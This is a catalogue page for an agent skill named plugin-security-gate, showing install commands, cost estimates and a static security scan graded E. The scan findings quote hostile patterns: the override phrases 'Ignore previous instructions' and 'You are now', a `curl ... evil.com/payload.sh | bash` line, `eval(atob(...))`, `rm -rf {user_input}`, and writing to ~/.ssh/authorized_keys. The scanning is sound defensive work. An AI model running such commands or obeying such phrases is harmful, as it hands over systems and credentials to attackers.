Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yves-s/just-ship/plugin-security-gatenpx skills add yves-s/just-ship --skill plugin-security-gategit clone --depth 1 https://github.com/yves-s/just-shipWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yves-s/just-ship/plugin-security-gate)<a href="https://agentmods.dev/skills/yves-s/just-ship/plugin-security-gate"><img src="https://agentmods.dev/badge/skills/yves-s/just-ship/plugin-security-gate.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00052 | $0.02395 |
| Opus 5 | $0.00026 | $0.01197 |
| Sonnet 5 | $0.00010 | $0.00479 |
| Haiku 4.5 | $0.00005 | $0.00239 |
Grade E, and why
plugin-security-gate scanned grade E with 9 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Instruction-override phrasingmediumPrompt injection
Text telling the model to disregard its earlier instructions or safety rules is the shape of a prompt injection, whoever wrote it.
| System prompt override | Agent hijacking | "Ignore previous instructions", "You are now", "Forget your rules" | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
| SUID/SGID changes | Privilege escalation | `chmod +s`, `chmod 4755` | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
| SSH key operations | Backdoor access | Writing to `~/.ssh/authorized_keys` | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
| `curl | bash`, `wget | sh` | Remote code execution | `curl -s https://evil.com/payload.sh | bash` | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
| `eval()`, `exec()`, `Function()` | Arbitrary code execution | `eval(atob("..."))` | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Unrestricted tool accesslowExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
| Excessive tool requests | Privilege escalation | `allowed-tools: *` or requesting Bash + Write + Edit without clear need | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
| `os.system()`, `subprocess.call()` with shell=True | Shell injection | `os.system(f"rm -rf {user_input}")` | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| `curl | bash`, `wget | sh` | Remote code execution | `curl -s https://evil.com/payload.sh | bash` | Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
| `os.system()`, `subprocess.call()` with shell=True | Shell injection | `os.system(f"rm -rf {user_input}")` | The source is not reproduced here
No licence file
A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 210 lines · 52 tokens per session scan E 501510e30cba
plugin-security-gate is a skill published in the GitHub repository yves-s/just-ship (24 stars, last pushed 4mo ago), with no licence file. It adds 52 tokens to every session and 2,395 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it E with 9 findings (instruction-override phrasing, asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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